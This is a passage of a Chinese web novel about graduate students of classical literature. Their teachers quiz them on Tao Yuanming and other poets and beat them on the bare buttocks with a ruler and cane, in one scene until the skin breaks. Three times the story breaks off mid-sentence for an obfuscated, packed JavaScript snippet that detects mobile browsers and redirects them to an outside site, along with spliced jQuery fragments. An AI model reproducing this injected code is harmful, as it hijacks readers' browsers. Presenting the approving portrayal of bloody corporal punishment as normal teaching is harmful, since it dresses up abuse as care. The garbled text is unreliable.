刘巍思就是研究这个的,不可能不懂,那几句话简直倒背如流了:“其源出于应璩,又协左思风力,文体省净,殆无长语。笃意真古,辞兴婉惬。每观其文,想其人德。世叹其质直。至如欢颜酌春酒,日暮天无云,风华清靡,岂直为田家语邪!古今隐逸诗人之宗也。” 严先生心中暗叹,表面却十分淡定,继续问:“其源出于应璩,又协左思风力何解?” 问何解,不是问句子怎么翻译,而是问学界都给出了什么观点,他又持什么观点,原因何在。“老师,我看了一些,《石林诗话》卷下说渊明源出应璩,不知钟嵘所据,可见不甚认同。五臣注认为此乃钟嵘之陋也,诗源辨体卷六说太冲诗浑朴,与靖节略相类,又太冲常用鱼虞二韵,靖节亦常用之其声气。”刘巍思顿了顿,道,“现在应璩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590803|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下的诗太少,无法判断是否有相似之处,至于左思风力,确有相类。” 严先生不置可否,继续问:“在钟嵘的诗品里,与陶渊明同列一品的有谁?” “钟嵘把陶渊明列为中品,中品共39人,除陶渊明外,还有秦嘉、徐淑、曹丕、嵇康、张华……” “现在学界对哪些人研究比较多?” 刘巍思一怔,下意识缩了下屁股——为什么老师一下就抓住了他没准备到的点?他研究的不是陶渊明吗?怎么会知道其他人的研究情况啊? 有准备没准备都是瞒不过去的,刘巍思默哀了一秒钟,道:“老师,我没注意这方面,您打吧。” “二十。” 戒尺贴上他的臀,随后短暂离开,又兜风抽下,“啪”地震响在他的耳边。刘巍思咬紧牙关,生生受了,身后戒尺便一下下抽落,打得两团肉凹下又弹起,一层层染上红色。钝重的痛麻迅速从身后传到四肢百骸,让他忍不住痛呼出声。 “唔……” “啪!啪!啪!” “呃……老师……” 严先生一板一眼打完二十戒尺,眼看学生整个屁股都红了,却是一点心疼都没有,继续道:“现在说古今隐逸诗人之宗,五柳隐逸都影响了哪些人?” 这影响的也太多了吧?!难不成要全捋出来?刘巍思顶着个热辣辣的屁股,试探性道:“老师,五柳影响太大了,这个问题我可能得……” “你知道多少就说多少。” “我知道的,摩诘、子厚、东坡……嗯……”刘巍思咬咬下唇,实在是想不起来了,原本也没有刻意记,想说也说不出来,“老师……我、我不知道……” “二十。”言简意赅地下了判决,严先生抬起戒尺,“啪啪啪”地责了下去。刘巍思已经挨了一轮责打,再挨便感觉整个屁股都跟着突突地痛,皮肉明显**起来,疼得他连连倒吸凉气。 臀尖到臀腿一段都通红不堪,肿起薄薄一层,跟白皙的大腿形成了鲜明对比。严先生打了十几下,见学生忍得难受,每次都小幅度地扭着屁股,可又不敢真动,知道他心中还是十分敬畏规矩,便也不太为难他,偷偷收了两分力,打完了这二十下。 “嘶——” 严先生收了戒尺,没再继续问知识性的问题:“知道为什么要问你哪些问题?” 刘巍思伸手摸了摸屁股,只觉烫手,一边咬牙忍耐着一边摇头。严先生缓缓道:“你虽然研究陶渊明,但不能孤立地研究陶渊明,你要把他放到横向、纵向的坐标上,才能真的看出来他的意义在哪里,价值在哪里。你读本科的时候,老师只让你读诗读文,让你理解、欣赏,可是读了研究生,就要做研究,就不能不知道与他同时代的其他人,不能不知道在他之前、在他之后的那些人,明白吗?” 刘巍思点了点头,表示懂了。 “去拿教鞭来吧。” 一句“不要”卡在喉咙,刘巍思是真不想挨教鞭,但是又知道不可能,便还是转身,从靠墙的架子上把竹鞭捧了来。 “只打三下,你记着就好。” 只打三下,可每一下都会让人皮开肉绽,刘巍思怕极了这根教鞭,却只能乖乖伏下身,撅起早已红肿的屁股。 严先生的教鞭是由七八根细细的竹篾组成的,搭在臀上时只有松散的触感,可是片刻过后,竹鞭便破风抽下,每一根竹篾都猛地掀起一阵热辣痛感,臀尖处不出意外地破了皮,疼痛十分尖锐。 刘巍思握紧了拳,死死咬着下唇,不让自己发出一点声音。 “啪!”第二下接踵而至,抽出了臀尖处的血珠。 “唔……”刘巍思眼前一黑,差点咬掉舌头。 “啪!” “啊!!”最后一下,刘巍思没有忍,也实在忍不住,脖颈朝后一仰,大叫出声。 “好了,起来吧。”严先生放下教鞭,拍了拍学生的背。 刘巍思一头冷汗,疼得口干舌燥,扶着腰,慢慢直起身来。 “还能不能走?” “可、可以。”刘巍思咬牙穿上裤子,几乎连眼泪都疼出来了。 严先生罚过就过,不会再为难学生,道:“回去歇一会吧,老师去做饭给你。” “哦,”刘巍思心安理得地应了一声,“那我先回去了。” 5. 第 5 章 挨完教鞭,刘巍思几乎不能坐了,站着吃完饭,在客厅陪老师说话也只能跪着,上身靠在老师腿上:“老师,我们第一次读书汇报我就写这个成吗?反正看也看了。” “当然可以,只要是认真读认真写的都可以。”严先生给他倒了一杯茶,“你们第一次汇报是什么时候?” 刘巍思接过茶,道:“之前通知是说第四周,这已经两周过去了,我得赶紧写。” “是要赶紧写,写了老师给你看看,改得好点再去汇报。你们这次汇报是纪老师主持?” “应该是吧,纪老师是系主任,学科负责人,应该是他吧。” 刘巍思没有想到,他与老师在这一天晚饭后闲谈起的事情在后来竟然成为了他们这一群学生中难以忘怀的名场面。 纪老师把他们每个人的读书汇报都骂了个狗血淋头。 “庄遂平,你写的什么东西?你没读过本科,难道连一篇论文都没看过?你看看你这个题目,是论文吗?还有框架,你连个框架都没有,给我搁这写美文?我是不是得称呼您一声庄先生了呀,学术散文都写上了,让你看书看书,一个月了就看出这种狗屁来给我?” 庄遂平捏着自己的读书汇报,一直默默挨骂,没敢抬头。 纪老师气不打一处来,瞪了他好久才转向一旁的刘巍思:“刘巍思,你几年级了知道吗?你的问题意识呢?还在这里给我写读后感?跟本科一模一样,你有长进没有?怎么?你要拿着这篇文章去发那些本科小娃娃办的刊物吗?等着刊出来丢你老师的脸,丢我的脸!” 刘巍思也被骂得大气不敢出,看着自己的读书汇报题目,心想也没有那么差吧,老师都说了,读书汇报什么的只是交流而已,又不要拿去发表,干嘛要那么十全十美? 纪老师在他们的读书汇报上面做满了红色批注,一个个丢回去给他们:“都给我回去改,不要以为汇报完了就没事了,不改的,你们期末的学术交流分就等着吃零蛋!” “知道了,老师。”几人稀稀落落地应声,蔫得像被霜打过的茄子。 “刘巍思,跟我来。” 刘巍思收拾东西的手一僵,抬头正好对上庄遂平的目光,一时间竟不知如何解释,又不敢违抗纪老师的话,只得硬着头皮绕开庄遂平,跟了出去。 熟悉的办公室里,纪老师往椅子上一坐,见学生跟了进来,二话不说拿起戒尺敲了敲桌边。 也许是研究生导师制与本科并不一样的缘故,也许是庄遂平的原因,刘巍思很难再像过去一样心安理得地接受纪老师的惩罚。他知道纪老师是为他好,知道纪老师并没有打错他,但是这一切,这把戒尺、这些责打和训诫,都本该属于另一个人。 但是他没有办法,如果他今天从这间办公室冲出去,他的老师就会带着他上纪老师的门道歉求原谅,转头严先生的学生不知轻重的传闻就会传遍学院,他会连累老师,让老师蒙羞。 刘巍思照旧,把东西放在桌角,随后走到纪老师身旁,顺从地褪下裤子,双手撑在桌上。 他一闭眼,就会看见庄遂平不解而失落的眼神,甚至听见庄遂平就在他耳边问,纪老师怎么总是叫你过去?你跟纪老师都谈些什么呀?你跟纪老师关系很好吗? “老师……” “啪!”戒尺猝不及防抽了下去,纪老师咬牙切齿:“叫我老师是吧?叫我老师就给我闭嘴!” 纪老师下手太重了,刘巍思几乎咬掉舌头,再不敢乱说话,闭紧了嘴巴挨打。身后戒尺如夏日急雨,“噼里啪啦”抽在他屁股上,很快就把那两团肉打得发烫。 “你老师最近没舍得收拾你是吧?这样的文章也拿去汇报,你丢不丢人?三个学生,就你从我们学校升上来的,你还不如别人!老师们在你身上不够费心是不是?你对得起谁?你回去好意思跟严先生说你汇报了什么狗屁玩意吗?”纪老师气急了,每骂一句就狠狠抽一下戒尺,直将那两团肉抽得满布尺痕,红成一片。 刘巍思浑身上下都热了,额上渐渐冒出汗珠,只能咬牙认错:“对不起,老师,我知道错了……” “错了?挨打就知道错了?你以为我不知道你在想什么?不就是偷懒吗?以为读书汇报不是大事就可以糊弄……” “老师,老师……”刘巍思口干舌燥,“好像、好像有人敲门……” 纪老师这会才不管有没有人敲门,只一门心思教训他:“还听得到人敲门,怎么?是我打太轻了?”说罢,戒尺继续如雨滴般砸落,片刻不缓,刘巍思受不了这个疼,屁股不住扭动起来。 可是真的有人在敲门,他还听见了声音,好像在问纪老师在不在,刘巍思忽然一阵恐慌——他刚才反锁门没有。 “啪啪啪!” “唔……老师,不要……” “纪老师!” “老师有人!” 一时间在场的人都定住了,最先反应过来的是刘巍思,立刻拉着裤子躲到纪老师的办公椅后面穿好,门口的庄遂平不敢相信自己看到的场面,可是那戒尺还握在纪老师手里,刘巍思趴伏的姿势,还有转身时深红的屁股,这简直…… 纪老师盯了庄遂平几秒,冷静地把戒尺放下,道:“巍思,你先回去。” 刘巍思大感羞辱,眼眶莫名其妙就红了,只含糊地说了声老师再见,就抱着自己的东西冲出去了,只留下那对尴尬的师生。 “对不起,我不知道……” “你不知道要敲门吗?” “我、我敲了很久……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590804|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 纪老师深吸一口气,怪不得刘巍思说听到敲门声,不过他也并不在意庄遂平知道他教训刘巍思的事,反正学院里不少人都知道,多一个不多,少一个不少。 “找我有什么事?” 庄遂平原本是抱着求学的心态来的,可是见了那场面,一时间难以接受,怔愣片刻才想起来:“哦,我、我想让老师看看读书汇报怎么改。” 怎么连文章也不会改呢?纪老师一手撑头,不耐烦道:“意见已经写给你了,你跟着改就行。” “老师说的题目和框架,我不明白。” “不明白你就去……”纪老师突然觉得让他看太高深的东西他也不明白,干脆从头开始,“你去问刘巍思,要他的论文来看,看人家怎么选题,怎么打框架,自己琢磨,别读到研究生了还什么都问老师。” 庄遂平再迟钝,也听出了老师的不耐烦,可是,他在这里,也只有这么一个老师可以依靠啊! “老师,其实,老师那些方式,我也可以接受……” “你接受什么啊?你跟刘巍思一样吗?等你把文章写成他那样再说吧。” 庄遂平垂下眼眸,许久没有说话,最后只道:“我明白了,我会努力的,老师。” “纪老师为什么要这样?”刘巍思趴在严先生腿上,边哭边控诉,“我根本没办法面对庄遂平,而且今天庄遂平都看到了……” 严先生褪了他的裤子,细细给他涂上药膏,心疼得不得了。倒不是说挨不得打,只是这么大个人了,严先生这十多年都少有看见他哭成这个样子,都不知道该怎么哄:“都怪老师,老师去和他说,以后不让他在办公室打你了,别哭了啊!” “呜呜呜……”二十几岁的大男生哭得跟小孩一样,涕泪横流,“我怎么跟庄遂平做同学啊?我一看他就心虚,好像我抢了他老师一样,可是这也不是我愿意的啊!” “老师知道,巍思没有错,是巍思受委屈了。” “我真的好难受呜呜呜……纪老师还骂我骂得那么凶,说我偷懒,没有长进,丢人,说我从我们学校升上来还没有别人厉害,那别人考过来也很厉害啊,为什么这么说我?” 小孩哭得伤心,严先生也忍不住鼻尖酸酸的:“好了好了,不哭了,纪老师是为你好,话说重了,你别往心里去,这么多年了,你还不知道你纪老师的性子吗?” 上好药,严先生把小孩扶起来,刘巍思抱着老师,又哭了好一阵,把老师的衣服都哭湿了。严先生可太心疼了,不停给他抹眼泪:“没事,这么大个人,还哭成这样,快别哭了,咱们今晚也不读书了,老师带你出去吃烤鸭,吃完咱们去看电影,好不好?” 刘巍思哭得一抽一抽的,边抖边点头,平复了好一阵才不哭了。 6. 第 6 章 小孩子情绪来得快去得也快,烤鸭往嘴里一送,立刻就不怨纪老师了,只是还有些不解:“老师,您说纪老师为什么非得这样啊?” 严先生带着小孩在学校附近的饭店吃饭,生怕有认识的人,因此压着声音:“当老师么,都想收好的学生。纪老师带你这么多年,想收你也正常。那个小庄,没读过本科,直接考上研究生,说回来也是厉害人物,但是到底不扎实,纪老师心里头还是介意。” “他这样子,庄遂平怎么办呀?” 严先生给他卷了两片烤鸭放在他碗里:“人家的事,由着人家自己操心吧,你呢,该读书就读书,该上课就上课,文章写了就拿来给老师看,别想这么多有的没有。” “哦,知道了。” “说回来,你们读书汇报不都要评一个优秀吗?纪老师把你骂成这样,优秀评给谁了?”严先生虽然年纪大了,可也耐不住八卦的心。 烤鸭把刘巍思的嘴塞得满满当当,口齿不清道:“柏、阅冬。” 一共就三个学生,骂了刘巍思,听这发声也不像庄遂平,那就只能是另一个了。严先生点点头:“我记得那小孩,从上海来的,长得俊俏,是有松柏经冬之姿。倒是不知道文章写得有多好,竟然在纪老师手里把优秀抢了去。” “我也想看呢!”刘巍思囫囵吞了烤鸭,着急忙慌的,“等我们看完电影,我去宿舍找他,让他借我瞧瞧。” “行,你带回来,老师也开开眼。你要不要顺便请你的同学到家里吃饭?” “好啊,我问问他们。咱们包饺子吧,我想吃饺子。” “好,我们巍思想吃什么老师就做什么。” 看完电影回到学校,已经快九点了。刘巍思让严先生自己回去,然后一拐弯跑去男生宿舍了。宿舍狭窄而混乱,过道里各色脸盆乱丢,穿着裤衩子的男生大大咧咧走来走去,时而有几个背着书包穿着齐整的学生嘴里叫着让一让,小心地挤过缝隙,往自己的宿舍走去。 刘巍思大一刚入学的时候住过几天宿舍,就被严先生接到家里去了,后来被赶回宿舍住一段时间,又回去一直住到现在。刘巍思在研究生入学时甚至没申请宿舍,现在再看这样的场景,也有些恍惚。 来到一扇寝室门前,刘巍思抬手敲了敲:“阅冬,你在不在?” 刘巍思等了片刻,那门便从里面打开一道缝,一个面目清秀的男生歪个头:“流落街头要我收留么?” 刘巍思无奈地翻了个白眼,把他往里面一推,径自进去了:“你有病啊?我老师叫我……” “巍思?” 刘巍思一僵,往旁边一瞧,原来庄遂平也在。是了,他们俩一个宿舍的,这个点,庄遂平回来了也正常。 “遂平,我来找阅冬。” 今天的事不知能不能顺利翻篇,两个人都有些尴尬。庄遂平勉强笑笑:“没事,要不要我先出去?” “哦,不用不用,”刘巍思连忙摆手,“我就是来借一下阅冬的读书汇报,我老师听说阅冬评了优秀,很想看一看。” 柏阅冬今年才20岁,看着比他们俩都细皮**,也显得更加无忧无虑,自顾自往床上一滚,道:“在我桌上,你自己拿吧。哎,其实你们也不用着急,下个月见刊了就都能看见了。” 庄遂平尚不知道什么意思,刘巍思却是惊了:“已经投了吗?” “录用了,下个月底吧,就能见刊了。” “这也太快了。” 柏阅冬是小天才,跟刘巍思一样,是恢复高考后第一届考生,但他那时才16岁,又考到这里来读研究生。本科的时候就发了两三篇文章了,读研究生再发,轻而易举。 “这本来是我本科时候的文章,暑假的时候自己改了改,完成度已经很高了。开学的时候拿给我老师看了一下,改了一遍就投了,后来读书汇报我说就拿这篇,我老师说可以,所以我读书汇报其实没有写东西。” 庄遂平震惊不已,原来那篇评了优秀的文章竟然是柏阅冬本科时候自己写的吗? 刘巍思拿起他放在桌上的文章,若有所思:“那看来我要好好拜读了。” 柏阅冬得意非常,眉飞色舞:“寡人的大作,你可要逐字逐句,好好赏析,否则砍你的脑袋!” 刘巍思倒也配合他演戏:“好的,大王。不过大王您怎么这么急着发文章?” “我不急啊,是我老师,说什么如果这一届学生里,我不能第一个发出文章,就会丢他的脸。”柏阅冬坐起身,故作无奈叹声气,“为了保全他薄脆的尊严,我只好给他一点颜色瞧瞧了。” 刘巍思笑了笑,心想你这哪里是一点颜色,你简直开上染坊了! “对了,我老师让我请你们去家里吃饭,你们什么时候有空?”刘巍思眼珠子转啊转,看看这边又看看那边。 庄遂平有点迟疑:“这……不好吧,严先生年纪大了……” “哦,我老师说了,如果你们拒绝,那他这周五要在家里上课,你们到我们家里去吧,上完课就可以吃饭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590805|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 柏阅冬两手一摊:“也就是说一定要去咯,那我能不能问一下——会吃什么菜?” 刘巍思有点愧对他的期待:“我跟老师说要吃饺子。” 果不其然,柏阅冬脸一下就垮了,过一会又抬起头,满怀期待地问:“你可以跟你老师说你想吃酸甜排骨拔丝地瓜锅包肉老鸭汤吗?” “阅冬!”庄遂平给他使了眼色,总觉得这样不太好。可是刘巍思却没多想,肯定地点点头:“可以,但是我老师不会做,可能会让外面饭店送。” “太好了,我相信饭店的手艺。” 几人又聊了几句,刘巍思就要回去了。庄遂平下床穿鞋,坚持要送他。刘巍思不好推辞,跟柏阅冬告别后,就和庄遂平一起离开了寝室。 快十点了。初秋的夜凉意甚浓,刘巍思还穿着白天那件衬衣,一出到外面不由得打了个冷颤:“遂平,你也别送了,又不是去哪里,你回去吧。” 庄遂平道:“没事,我陪你走到教师宿舍楼。” 本来刘巍思已经把今天的事忘得七七八八了,可庄遂平又提起来了:“巍思,你还好吗?” 夜色笼罩,掩护了刘巍思眼中一闪而过的慌乱。“还好,我上过药了,已经没事了。你呢?你跟纪老师聊过了?” “嗯,送你下来也是为这事,纪老师让我多向你学习,所以我想问你借你写过的文章看看,学习一下,不知道你方不方便。” 刘巍思简直丈二和尚摸不着头脑,要学习不是该看那些大家名家的文章?看他的文章作甚?不过纪老师的心思,他还是不要猜了:“可以啊,没什么的,周五你们来家里吃饭,我整理好给你。” “我最近去听了一些本科生的课,还是学到了很多,感觉自己和你们差距还是很大的。” 刘巍思有点不会安慰他:“不会啊,你直接考上来,比我们厉害多了。纪老师比较严厉,有时候话说得重,你听听就行了,别都当真。” 说到这个,庄遂平更迷茫了:“我有点不知道,怎么跟老师相处。” “这个……”刘巍思为难地挠挠头,难道他知道吗?不全靠老师?唉,但是靠纪老师也不太行吧?“就……其实你不用想太多,有问题就问,有什么想法就跟老师说,主动一点就好了。” 庄遂平无力地点点头,心里还是没底。 眼看着宿舍楼就在前面,刘巍思赶紧跟他挥手再见,逃窜回家。 再说些和纪老师有关的事,他都要尴尬得抠破袜子了! 7. 第 7 章 转眼到了周五那天,柏阅冬和庄遂平买了些香蕉和梨,背着书包就到严先生家去了。刘巍思和严先生刚剁了饺子馅,正发面呢,就听见敲门声。刘巍思忙去开门:“你们来啦!” 柏阅冬提着果篮,大大方方走进屋,见严先生正系着围裙和面,笑着打了声招呼:“严老师好。” 庄遂平跟在后面,也跟着问了好。 严先生笑呵呵的:“你们先坐,巍思给同学倒水,我和了面就来。” 柏阅冬把果篮放在桌上,问:“我们是吃饺子吗?” 柏阅冬今天穿了一件白色衬衫,一条米色裤子,皮带一扎,跟个小大人似的,跟刘巍思和庄遂平站一起,显得又干净又前卫,明显是城市里的小孩,外加皮相长得好,一双眼睛看人坦坦荡荡的,很难叫人不喜欢。 严先生笑笑:“巍思说你要吃那几样菜,我已经叫饭店晚点送来了,饺子是刘巍思非要吃的。” 柏阅冬立刻喜上眉梢:“谢谢老师!” 师生四人就坐在客厅上课。原本庄遂平是端端正正坐在木沙发上的,笔记本放在膝头,一看刘巍思和柏阅冬都直接盘腿坐在地上,还刚好能把本子放在茶几上,立刻有样学样:“我也要这样坐。” 严先生坐在沙发上,往后头靠了靠,很是放松:“小庄,你不用学他们,怎么高兴就怎么坐好了。刘巍思在家里,打滚也是有的。” 刘巍思顿时睁大了眼睛:“我哪里在家打过滚?” “逃罚的时候么,一边哭一边在地上……” “啊啊啊啊啊啊……”刘巍思吱哇乱叫,打断了老师的话,生怕自己的丢脸样子被同学们知道,“老师,快点上课吧,我想早点吃饭。” 严先生宠溺地笑笑:“好,我们来上课。上节课我们讲知人论世了,读作品要联系作家的生平经历,但是我们要注意,这些生平经历不一定都是明明白白摆在那里给你们看的,而且这些影响也不一定是显性的,所以我们要去找到从经历到创作那条隐秘的线……” 严先生滔滔不绝,学生们边听边记,半点神都分不了,刘巍思甚至没注意到老师的茶杯已经空了,待得一个多小时后严先生让他们提问,他才去帮老师加水。 “老师,”柏阅冬用手支着脑袋,“我可不可以这样理解?一个人的生平经历影响了他的心理,他的心理又形成了相应的创作个性,他在创作个性的主导下创作出作品,这些作品表现出的总的风貌就是他的创作风格。” 刘巍思把茶杯放在老师面前,道:“我觉得不对,是经历影响了心理,还是心理影响了经历呢?或者,相互影响?” “我觉得是这样的,在一些个人选择上,可能是经历和心理相互影响,但是由社会环境决定的那些大事件,作家也只是被历史潮流裹挟而已,肯定不是他们的心理影响了生平经历。” 严先生赞许地点点头:“阅冬说得好。” 柏阅冬得了一声赞赏,更来劲了:“所以我觉得我们是不是对一些所处环境不好的诗人太苛刻了?他们未必是才华不如别人,心胸不够开阔,而是整个社会对他们都太友好了,要是把李贺放到盛唐,说不准比李白杜甫还厉害呢!” 刘巍思有点说不出话来,阅冬这话说得,有点大逆不道啊! 可是严先生却没有反驳,还是很温和的样子:“小庄呢?小庄有什么想法?” “啊?”庄遂平有些懵懂,他们的交流太快了,他跟不上,“我暂时没有。” “不要紧张,学术讨论嘛,就是让你们相互交流观点,捋清自己的逻辑,找出漏洞,这对你们的学习来说是一个很好的方式。” 庄遂平也很想像柏阅冬那样交流,可是他好像懂的没有那么多,有些话也不知道对不对,最后都不敢说了:“所以,到底是经历影响了人的心理,还是人的心理导致……” “这哪有答案啊?”柏阅冬斩钉截铁地打断他,“又不是写试卷,你说的有道理就行了。” 可庄遂平并没有安心,反而更加茫然了。 严先生笑笑,道:“做研究,要有观点,但是你的观点要用事实来支撑,现在不懂没关系,多学习,慢慢就懂了。” 庄遂平只得点了点头。 晚饭吃得很热闹。平时家里只有严先生和刘巍思两人,偶尔其他师兄师姐来,但也很拘束,不像今天柏阅冬在这里,一边吃还要一边点评菜做得怎么样,逗得严先生开怀大笑。 只是,这样温馨的氛围,庄遂平始终开心不起来,刘巍思和严先生的亲密、柏阅冬的伶俐都像是一种反衬,让他显得更加笨拙和不讨喜。 更不要说他的老师还是纪慎那样的严师。 其实就算是严师……庄遂平想起那日在办公室看到的场景,并不怎么害怕,就像他说的,他可以接受,只要老师也能像对刘巍思那样对他。 可是,到底是不太可能的吧。 欢声笑语中,几人吃饱喝足,庄遂平自觉地帮忙洗碗擦桌。严先生怕他们回寝室晚了被登记,赶紧催着刘巍思送同学走。柏阅冬一边剥香蕉一边道:“不用送了,我们自己走就行了,哎,等下,再给我个香蕉。” 刘巍思什么香蕉和梨都往他们手里塞:“赶紧走赶紧走,我送你们到楼下,你们自己回去。” “楼梯我又不是不会下,你又没点诚意,我还以为你要背我。” “行了啊,柏阅冬,给你脸了。” 柏阅冬嘻嘻哈哈地下了楼,招呼着后头的庄遂平:“快点,遂平,回去了。” 庄遂平拿着刘巍思整理给他的文章,慢条斯理地道谢又道别,磨磨蹭蹭好一会,再一回头,发现柏阅冬小跑着就走了,昏暗中似乎是追上了另一个人。 “老师!” 柏阅冬喊的正是他的导师秦昭阳。秦昭阳看着比纪老师年轻些,中等身材,一张圆脸显得不那么严厉,偏生小眼睛里冷光闪闪,常让学生不寒而栗。秦昭阳刚从家里出来,准备去学院办公室拿点东西,不曾想碰上学生,回头瞧瞧他跑来的方向,问:“去严老师家里吃饭了?” 柏阅冬骄傲地点点头,道:“原来老师您也管严老师叫严老师啊,那辈分不是乱了?” 秦昭阳双臂抱在胸前,冷哼一声:“你还知道辈分呢?” “当然了,不然我以后怎么欺师灭祖呢?” 秦昭阳:“……” 秦昭阳在学院里是出了名的毒舌,别的老师哪怕是年龄辈分高的,都不愿意招惹他,谁也不想突然听他的三寸不烂之舌说出堵心三天的话。可是自认毒舌的秦昭阳也绝不会想到,他的第一个研究生,他的开山大弟子,竟然跟自己是一个路数! 竟然还骑到他头上了! 他就不该考虑什么学生的尊严! “发了篇文章让你高兴坏了吧,也是,好好珍惜吧,不知道有没有下次呢!” “老师,您上次发文章的时候就是这么想的吧,怪不得这么久没发出文章。” 秦昭阳暗自握紧拳头:“我那叫精雕细琢,以为谁都跟你似的,写了几个能看的字就到处招摇。” “是你让我投的,”柏阅冬一脸无辜,“唉,我也明白,毕竟老师您发不出文章,我的文章发出去对您来说也是个安慰。您放心,我会努力的,让您发不出文章也能抬头挺胸地做人!” “柏阅冬,说真的,你爹妈把你生下来,发现你会说话,挺遗憾的吧。” 柏阅冬点了点头:“非常遗憾,他们觉得我能说的话那么少,根本没办法展现我卓绝的智慧!” 秦昭阳:“……” “你要是选纪老师当老师,你就等死吧。” “啊?那选您当老师,我不会要……”柏阅冬在腹部上比划了一下,“等着生吧?” 秦昭阳气得不轻,一巴掌拍他脑袋上:“一天到晚那么能说,明天就把你的文章拿来,看我怎么收拾你!” “又叫我不要招摇,又要看我文章,老师您……您就是嫉妒我吧?” “柏阅冬你行了啊,蹬鼻子上脸的,明天不来你等着,有的是法子治你!” “老师快快收下我的贿赂,”柏阅冬把手里的香蕉塞给他,“请您做一个没有原则的老师,看在徒儿如此孝顺的份上,饶我一回。” “你这个逆徒,不孝就算了,还这么抠门,贿赂都没点好东西……” 庄遂平隔着几步的距离一直跟着他们,心中又更复杂了些。巍思和严先生那么温馨,阅冬和他老师那么有趣,只有我,还不知道怎么去面对纪老师…… 第二天是周六,按理说完全可以睡懒觉的,但是柏阅冬这个逆徒昨晚被耳提面命,故而特地调了闹钟,起个大早,收拾完,吃了早饭就去找秦昭阳了。 秦昭阳的办公室和纪老师的办公室在同一层,只是人家纪老师的办公室在一层楼的中间,敞亮敞亮的,至于秦昭阳的么,左拐右拐,孤零零地坐落在不起眼的角落里。 办公室门开着,秦昭阳正背对门口脱外套,显然是刚到。柏阅冬敲敲门:“老师。” “进来,门关上。” 柏阅冬关了门,走到办公桌前,也不等老师叫就拉了椅子坐下,开门见山:“我没有文章。” “你个孽徒!没有文章不会写?不写就把手剁了!”秦昭阳瞪了他一眼,坐下,“为了你,为师我可是舍弃了周六啊,你今天不给我说出个一二三来,看我怎么收拾你!” “明明是您让我来的,您也可以下次再叫我来啊!” “别说有的没的,这半个月干什么去了,书呢?读了没有?问题呢?” 说到正经事,柏阅冬也得认真起来:“我读了一点词,发现一个问题,冯延巳、晏殊、欧阳修这三个人的词,经常会被搞混。有些词会同时收在这几个人的集子里。我觉得这个可以写一写。” 这也许是秦昭阳能容忍柏阅冬比自己还毒舌的原因——这个小孩太有学术思维了,他看问题又快又准。 “你怎么想的呢?” “第一当然是他们身处高位的相似性,导致审美心理的趋同;第二可能是到晏欧那会,能把词写得出色的人并不多,可学的对象就更少,冯延巳成为了他们的上佳选择。其他的我还没想到,”柏阅冬眉毛一扬,“老师赐教?” 秦昭阳还是很高兴的,第一年收学生就收了个小天才,连惯常的嘲讽语气都收敛了不少:“知道要让为师赐教了?” “我等逆徒,师父若不赐教,只能出去丢师门的脸了,师父您也不想这样吧?” 半是威胁半是玩笑的语气,连带着小脑袋一歪,秦昭阳都被他逗笑了。 “你这个样子,在纪老师那里,现在就要脱了裤子打屁股。”秦昭阳往椅背上一靠,看他有些不相信的样子,还补充说明,“不信你去问刘巍思。” 柏阅冬的表情从不可思议变成鄙夷:“他这么大个人,不会打不过纪老师吧?要是我,不管他用什么打,我都肯定抢过来,折断,丢掉!” 秦昭阳想象了一下那个画面,竟然一点都不觉得违和,柏阅冬他好像……真的干得出来这种事…… “等你落到纪老师手里的时候再说吧。” “我怎么会落到他手上?他又不是我导师。”柏阅冬斜眼睨着秦昭阳,“老师您不会半路陨落,然后只好托孤,将我交给纪老师吧?” 秦昭阳:“……” 真的,他就没在这小孩嘴里听到过一句人话! “我是看你一副学术新星的样子,过几年要读博,人严先生是刘巍思的,你肯定要考虑纪老师啊!为师是在替你打算将来!” “哇!师父您不会到那时候都评不上博导吧?” 大学刚恢复教学秩序的头几年,全国博士都没几个,自然也没有那么多博导,更何况,秦昭阳这一年才开始当硕导,哪能一步登天当上博导?故而这话听着不爽,秦昭阳也没话回,只能白了他一眼:“是啊,为师现在就盼着你早日当上博导,收了学生,来喊我师爷。” “师父放心,徒儿会努力让您当上师爷的!” “别贫了,赶紧的讲你的文章,听着啊,晏欧时代很接近,生活范围也有重合,你要考虑作品在传播过程中可能会出现的差错。还有,这三个人的作品流传这么多年,文献的记载也会出错,你要多方佐证,试一下把他们的作品分出来。” 柏阅冬垂眸思考了一会:“我觉得很难,第一风格太接近了,第二文献,文献不是我擅长的东西……” “那就去找纪老师,正好提前交流交流。” 柏阅冬对纪老师有点抗拒,扁扁嘴道:“我先把自己能写的写了吧。” “行,为了锻炼你的能力,为师交给你一项任务,”秦昭阳站起来,拍拍桌子最右侧的一沓作业,“这是为师给本科生开的选修课作业,你今天就在这里帮为师把作业改了,成绩登好,懂了吗?” 